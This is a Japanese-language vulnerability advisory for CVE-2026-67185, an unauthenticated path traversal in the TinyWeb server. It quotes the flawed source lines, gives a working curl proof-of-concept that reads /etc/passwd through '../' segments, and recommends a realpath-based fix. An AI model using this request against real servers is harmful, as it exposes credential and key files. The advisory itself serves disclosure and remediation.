
割り当てられたCVE ID: CVE-2026-67185
TinyWebは、配信するファイルのパスを、WebルートとリクエストURLをそのまま結合して構築しており、正規化は行われません。認証を行っていないリモートクライアントは、リクエストラインに../シーケンスを挿入することで、サーバープロセスがオープンできる任意のファイル(Webルート外のファイルを含む)を読み取ることができます。
TnyWeb/0.0.80b3b5fd (2019-01-09、この方法でパスが最初に組み立てられたコミット) から a381da2 (2023-11-22、master上の最新) まで。CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N認証されておらず、サーバーの待ち受けTCPポート(同梱設定では9090)に到達できるリモート攻撃者。認証情報、ユーザー操作、事前のアクセスは一切不要です。単一のリクエストで十分です。
HttpBuilder::buildResponse()は、設定されたWebルートから始まり、解析されたリクエストのURLパスフィールドをそのまま追加します:
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() on the joined path
}
86行目の結合から94行目のファイルシステム呼び出しまでの間に、ドットセグメントの除去(RFC 3986 セクション5.2.4)はなく、realpath()による正規化もなく、結果がserver.www内に留まるかどうかのチェックもありません。
URLパーサーも..をフィルタリングしません。HttpParser::parseUrlChar()では、パス状態はisUrlChar()を通過する任意の文字を受け入れ、.は有効なURL文字であるため、../は変更されずにbuildResponse()に到達します:
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
HttpFile::setFile()は、生成されたパスをサーバープロセスの権限でオープンし、配信します:
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
注: TinyWebはURLパスをパーセントデコードしないため、%2e%2e%2fは機能しません。リテラルの../形式は機能します。
同梱の設定でサーバーを起動します(ポート9090で待ち受け、設定されたWebルートから配信)。
パスがWebルートの上に登るリクエストを送信します。--path-as-isフラグは、curlが../を送信前に折りたたむのを防ぎます:
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
200 OKで/etc/passwdの内容を応答します:HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
必要な../セグメントの数は、Webルートがどの深さにあるかによって異なります。Webルートの深さ以上の数であれば機能します。カーネルはファイルシステムルートで..を無視するためです。
任意のリモートクライアントは、サーバープロセスがオープンを許可されている任意のファイルを読み取ることができます。デフォルト設定ではワーカーはrootとして実行されるため、これには/etc/shadow、TLS秘密鍵、資格情報を含む設定ファイル、Webルート配下のアプリケーション自身のソースが含まれます。
realpath()で結合されたパスを正規化し、結果が設定されたWebルート内にない場合はリクエストを拒否します。多層防御として、RFC 3986 セクション5.2.4に従ってURL解析中にドットセグメントを除去し、その正規化の実行前にパスをパーセントデコードします。